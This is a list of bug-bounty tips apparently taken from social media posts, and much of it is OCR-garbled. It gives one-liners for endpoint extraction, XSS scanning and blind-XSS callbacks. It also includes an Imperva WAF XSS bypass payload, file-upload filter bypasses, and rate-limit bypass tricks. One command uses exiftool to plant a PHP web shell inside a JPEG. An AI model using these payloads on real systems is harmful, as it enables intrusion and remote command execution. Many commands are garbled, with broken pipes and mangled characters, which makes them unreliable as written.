Bug Hunty

Extract URLs/Endpoints: curl targetsite.com -s | sed s/href=/"endpoint:"/g | sed s/" "/"\n"/g | tr "<>" "\n" | grep endpoint: curl targetsite.com -s | sed s/src=/"endpoint:"/g | sed s/" "/"\n"/g | tr "<>" "\n" | grep endpoint: #bugbounty #bugbountytips

One Liner for XSS: gospider -S targets urls.txt -c 10-d 5 --blacklist " jpgljpeglgif|css|tif|tiff|png|ttf|woff|woff2|ico|pdfIsvg/txt)"--other-source | grep -e "code-200" | awk *(print $5)'| grep "=" | qsreplace -a | dalfox pipe -o output.txt #bugbounty #bugbountytips

Oneliner waybackurls validator waybackurls yahoo.com | grep "url" I xargs -n 1 curl -s -0 /dev/null - (http_code} > %furl_effective)\n" | sort #bugbounty #bugbountytips #cybersecurity #pentesting #hacking

Quick way to request 1000 of URLs in burp without crashing your browser #bugbounty #bugbountytips #cybersecurity #pentesting #hacking

Memory dump and env disclosure shodan search org: "Target" http.favicon.hash:116323821 -fields ip_str,port--separator "| awk '{print $1".:"$2)' while read host do ;do ffuf -u http:/ /$host/FUZZ -mc 200 -w spring-boot.txt ;done #bugbounty #bugbountytips #cybersecurity

Happy May 19th, Commemoration of Atatürk, Youth and Sports Day! #19thMay #BugHunty #HountyBounty

Imperva Waf XSS ByPass Payload : «sVg OnPointerEnter= "location= lavas + cript:ale + 'rt%2 + '81%2° +9%//</div"> #bugbounty #bugbountytips #cybersecurity #pentesting #hacking

HTTP Request #bugbounty #bugbountytips #cybersecurity #pentesting #hacking

Unique github dorks for finding hidden secrets #bugbounty #bugbountytips #cybersecurity #pentesting #hacking

Find massive bXSS vulner § assetfinder [host] | hakrawler -plain -usewayback -wayback | grep "=" I egrep-iv".Upglipeglgif|cssitif|tiff|png|ttfwofflwoff2lico|pdfIsvg|txt|js)"I asreplace -a dalfox pipe -b your.xss.ht -o out.txt #bugbounty #bugbountytips #cybersecurity

Find sensitive information disclosure with gf by this patterns #bugbounty #bugbountytips #cybersecurity #pentesting #hacking

Extension list for file upload bugs ASP: "asox" "config" "ashx", "asmx", "aspa" "axd". "cshtm". "cshtml", "rem", "soap", "vbhtm", "vbhtml", "asa", "asp", "cer", "shtml" PHP: php, php5, php3, php2, shtml, html, .php.png(double extension attack) #bugbounty #bugbountytips

Easy Automation XSS Tip cat subdomains.txt | waybackurls >> wayback.txt cat subdomains.txt | hakrawler -depth 3 -plain >> spider.txt cat spider.txt wayback.txt | kxss #bugbounty #bugbountytips #cybersecurity #pentesting #hacking

DOS and UNIX commands #bugbounty #bugbountytips #cybersecurity #pentesting #hacking

When you're brute forcing for endpoints, don't forget to add extensions. You can also use this method to discover backup files dirsearch-e php,asp,aspx,jsp,py,txt,conf,config,bak,backup,swp,log,xml,js,json,old,db,sql -u <target> #bugbounty #bugbountytips #cybersecurity #pentest

Bypassing most file uploads filters * htaccess <- upload htaccess * file.svg <- uploading svg = XSS * file.SVg <- must try case mismatch * file.png.svg * file.php%00.png * file.png' or '1'='1 *_/./file.png * file. svg <- invalid ext #bugbounty #bugbountytips #cybersecurity

onXXX -> blocked by WAF <a href -> blocked «script -> blocked «form action=javascript:alert(1)> <input type=submit /> </form> #bugbounty #bugbountytips #cybersecurity #pentesting #hacking

Bypass no rate limit 1 add %00 at the end of mail in intruder whenever error 429 comes Or %2e,%0d %0a 2 add X-Forwarded-For: 127.0.0.1 If rate limit is based on ip use ip rotator burp extention #bugbounty #bugbountytips #cybersecurity #pentesting #hacking

Bypass File Upload Filtering In image: exiftool -Comment='<?php echo "<pre>"; system($_GET['cmd']); ?>' shell.jpg mv shell.jpg shell.php.jpg #bugbounty #bugbountytips #cybersecurity #pentesting #hacking

No more noise in your logs! Burp Suite > Proxy > Options > TLS Pass Through. Add these: *.google\.com .*.gstatic).com *.mozilla\.com .*\.googleapis\.com *.pkil.goog #bugbounty #bugbountytips #cybersecurity #pentesting #hacking